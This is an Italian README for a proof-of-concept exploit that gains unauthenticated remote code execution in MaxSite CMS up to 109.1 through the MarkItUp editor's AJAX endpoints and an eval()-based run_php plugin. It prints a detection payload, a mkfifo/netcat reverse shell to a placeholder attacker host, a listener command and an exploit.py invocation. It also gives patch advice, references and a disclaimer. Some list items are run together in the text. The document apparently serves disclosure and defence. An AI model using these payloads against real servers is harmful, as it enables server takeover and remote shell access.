
Proof-of-concept exploit per l'esecuzione remota di codice non autenticata in MaxSite CMS <= 109.1 tramite gli endpoint AJAX dell'editor MarkItUp, con payload di rilevamento e reverse shell.
Vulnerabilità di Esecuzione Remota di Codice (RCE) Non Autenticata in MaxSite CMS ≤ 109.1.
Il difetto deriva da controlli di autorizzazione deboli negli endpoint AJAX del plugin dell'editor MarkItUp, combinati con l'esecuzione non sicura di codice PHP fornito dall'utente da parte del plugin run_php.
La vulnerabilità interessa i seguenti file nel plugin dell'editor MarkItUp:
preview-ajax.phpautosave-post-ajax.phpQuesti endpoint:
run_php[php]...[/php] usando eval()Un attaccante può inviare una richiesta POST appositamente costruita alla rotta /ajax/ contenente un percorso interno codificato in Base64 e un payload PHP dannoso tramite il parametro data, con il seguente risultato:
graph TD
A["Attaccante"] -->|"Richiesta POST dannosa"| B["Endpoint AJAX"]
B -->|"Spoofing del Referer"| C["preview-ajax.php"]
C -->|"Input non sanificato"| D["Plugin run_php"]
D -->|"Esecuzione eval()"| E["Esecuzione PHP Arbitraria"]
E -->|"Esecuzione di comandi"| F["Server Compromesso"]
run_php abilitato (default comune)eval()È incluso un proof‑of‑concept in Python 3 (exploit.py).
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php se non necessarioAggiungi controlli di autenticazione ai file vulnerabili:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
Commit della Patch https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
Voce della Vulnerabilità https://vuldb.com/?id.348281
Questo progetto è fornito per:
⚠️ Non utilizzare contro sistemi senza esplicita autorizzazione.
L'autore non si assume alcuna responsabilità per usi impropri o danni.
Mohammed Idrees Banyamer Giordania 🇯🇴 Ricercatore di Sicurezza
banyamer_security — Silent Hunter • Shadow Presence
Marzo 2026